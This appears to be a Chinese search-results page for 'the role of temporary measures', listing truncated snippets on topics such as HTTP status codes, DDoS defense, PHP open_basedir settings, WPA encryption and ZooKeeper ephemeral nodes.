  • 一定避免临时定方案,这会造成决策困难,甚至无人拍板。 上线 经过数轮测试和演练,终于迎来了上线时刻,关于上线我有如下建议: 分配好资源。如果晚上上线,不要全部开发都来支持通宵上线。留有人手第二天做线上...
  • 只有在切换新的协议更有好处的时候才应该采取类似措施。 102:继续处理 由WebDAV(RFC 2518)扩展的状态码,代表处理将被继续执行。 200:请求成功 处理方式:获得响应的内容,进行处理 201:请求完成,结果是创建了...
  • 函数与全局变量的同名冲突: 函数和全局的作用域范围都是整个工程,函数与全局变量同名会出问题,c的解决措施是将不会被外部文件使用的变量和函数使用static修饰成文件内部,避免文件间的重复。 章节总结 存储类,...
  • 那么如何采取有效措施来处理它?下面列出了一些常规的处理方法。 (1)检查攻击来源 通常黑客会通过多个假IP地址发起攻击,此时,如果用户能分辨出哪个是真正的IP地址,哪个是假IP地址,然后知道IP来自哪个网段,然后...
  • 就目前防御DDoS的方式来说,主要是两个方面,小流量攻击可以在企业本地进行设备防护,大流量攻击可以交给运营商及云端清洗。...一般恶意组织发起DDoS攻击时,率先感知并起作用的一般为本地数据中心内的DD
  • basedir之后, 这个虚拟用户就不会再自动继承php.ini 中的open_basedir设置值了,这就难以达到灵活的配置措施, 所以建议您不要在VirtualHost 中设置此项限制. 例如,可以在php.ini中设置open_basedir = .:/tmp/, 这个...
  • Unknown:没有执行检查,因此不采取任何措施(通常是我们没有定义探针检测,默认为成功)。 若觉得上面还不够透彻,可以移步其官网文档: ...
  • 如今,云计算特别是基础设施即服务(Infrastructure-as-a-Service,IaaS)已经成为广泛采用的系统架构,并且可以根据需要提供虚拟机。企业越来越多地采用云计算的一个主...
  • PHP 配置文件中 open_basedir 选项作用如下是 php.ini 中的原文说明以及默认配置:;open_basedir,ifset,limits all file operations to thedefineddirectory;andbelow.Thisdirective makes most senseifusedina per-...
  • 在有些情况下,有的错误非常严重,以致不得不临时放弃正常的维 护控制工作程序,既不对修改可能带来的副作用作出评价,也不对文档作相应的更新,而 是立即进行代码的修改。这是一种救火式的改正性维护,只有在非常紧急的...
  • WPA与WPA2的区别在于,WPA支持的是TKIP(临时密钥完整性协议)加密,而WPA2支持更强大的AES(高级加密标准)加密。采用WPA2加密的无线路由器安全性非常高,除非不小心泄露了加密密钥,正常情况下此方法尚无可能发生...
  • 答案是Stat Structure中的**ephemeralOwner(临时节点的Owner)**字段 上面说过,如果当前是临时顺序节点,那么ephemeralOwner则存储了创建该节点的Owner的SessionID,有了SessionID,自然就能和对应的客户端匹配上...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 28,084
精华内容 11,233
关键字:

临时措施的作用